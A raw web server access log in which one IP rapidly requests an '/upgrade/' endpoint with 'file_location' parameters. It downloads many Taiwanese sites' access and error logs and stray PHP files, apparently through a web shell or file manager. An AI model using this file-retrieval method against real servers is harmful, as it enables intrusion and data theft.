45.135.193.11 - - [11/Sep/2026:22:40:50 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbogroup.com.tw.blackpussy06.men-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 1376710 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbogroup.com.tw.blackpussy06.men-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:50 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Flogs&location=%2Fhome%2F HTTP/1.1" 200 5766 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Flogs&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:51 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbiotaiwan_com_tw.php.error.log&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 12244 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbiotaiwan_com_tw.php.error.log&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:51 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 55507 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:51 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbig-wife.com.tw.blackpussy06.men-ssl_log-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 5681947 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbig-wife.com.tw.blackpussy06.men-ssl_log-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:51 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbig-wife.com.tw.blackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 14866084 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbig-wife.com.tw.blackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:54 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbooking-wise2_com_tw.php.error.log&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 11734 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbooking-wise2_com_tw.php.error.log&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:53 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbooking-wise2.com.tw.blackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 17550015 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbooking-wise2.com.tw.blackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:55 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbossini_com_tw.php.error.log&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 11865 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbossini_com_tw.php.error.log&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:54 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbossini.com.tw.blackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 18919348 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbossini.com.tw.blackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:55 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Flogs&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 11591 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Flogs&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:56 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbestjudy_com_tw.php.error.log&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 27653 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbestjudy_com_tw.php.error.log&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:56 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbioway88.com.tw.blackpussy06.men-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 363271 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbioway88.com.tw.blackpussy06.men-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:56 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fblackpussy06.men-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 525775 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fblackpussy06.men-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:56 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbioway88_com_tw.php.error.log&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 12468 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbioway88_com_tw.php.error.log&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:56 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fblackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 284782 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fblackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:57 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 11573 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:57 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbfl.com.tw.blackpussy06.men-ssl_log-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 5345141 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbfl.com.tw.blackpussy06.men-ssl_log-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:58 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbioway88.com.tw.blackpussy06.men-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 1544920 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbioway88.com.tw.blackpussy06.men-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:43 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbodbooks.com.tw.blackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 12056247 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbodbooks.com.tw.blackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:59 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbodbooks_com_tw.php.error.log&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 11993 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbodbooks_com_tw.php.error.log&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:59 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbooking-wise2.com.tw.blackpussy06.men-ssl_log-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 6171593 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbooking-wise2.com.tw.blackpussy06.men-ssl_log-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:00 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbossini.com.tw.blackpussy06.men-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 2819901 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbossini.com.tw.blackpussy06.men-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:59 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbodbooks.com.tw.blackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 22093210 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbodbooks.com.tw.blackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:57 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbesth2o.com.tw.blackpussy06.men-ssl_log-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 7374818 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbesth2o.com.tw.blackpussy06.men-ssl_log-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:01 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbestjudy.com.tw.blackpussy06.men-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 899354 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbestjudy.com.tw.blackpussy06.men-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:01 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbossini.com.tw.blackpussy06.men-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 298478 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbossini.com.tw.blackpussy06.men-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:02 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 24287 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:02 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbossini.com.tw.blackpussy06.men-ssl_log-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 6250224 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbossini.com.tw.blackpussy06.men-ssl_log-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:02 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbeauty-dental.com.tw.blackpussy06.men-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 249950 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbeauty-dental.com.tw.blackpussy06.men-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:02 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbestzyx.com.tw.blackpussy06.men-ssl_log-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 7125855 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbestzyx.com.tw.blackpussy06.men-ssl_log-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:03 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbiotaiwan.com.tw.blackpussy06.men-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 3076622 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbiotaiwan.com.tw.blackpussy06.men-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:02 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbft.com.tw.blackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 20878096 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbft.com.tw.blackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:04 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 11565 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:05 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbeauty-dental.com.tw.blackpussy06.men-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 806508 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbeauty-dental.com.tw.blackpussy06.men-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:05 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbft.com.tw.blackpussy06.men-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 455112 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbft.com.tw.blackpussy06.men-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:50 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbestzyx.com.tw.blackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 17872080 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbestzyx.com.tw.blackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:05 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbogroup.com.tw.blackpussy06.men-ssl_log-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 1409472 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbogroup.com.tw.blackpussy06.men-ssl_log-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:05 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbroadweb.com.tw.blackpussy06.men-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 890659 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbroadweb.com.tw.blackpussy06.men-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:05 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbioway88.com.tw.blackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 22477522 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbioway88.com.tw.blackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:06 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fba-guo.com.tw.blackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 14695989 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fba-guo.com.tw.blackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:08 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbesth2o.com.tw.blackpussy06.men-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 398678 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbesth2o.com.tw.blackpussy06.men-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:07 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fba-guo.com.tw.blackpussy06.men-ssl_log-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 5164075 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fba-guo.com.tw.blackpussy06.men-ssl_log-Sep-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:08 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbfl_com_tw.php.error.log&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 12224 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbfl_com_tw.php.error.log&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:06 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbestzyx.com.tw.blackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 22086915 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbestzyx.com.tw.blackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:08 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbroadweb.com.tw.blackpussy06.men-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 2052898 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbroadweb.com.tw.blackpussy06.men-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:08 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbroadweb.com.tw.blackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F HTTP/1.1" 200 4342 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Flogs%2F%2Fbroadweb.com.tw.blackpussy06.men-ssl_log-Aug-2026.gz&location=%2Fhome%2Fblackpussy06%2Flogs%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
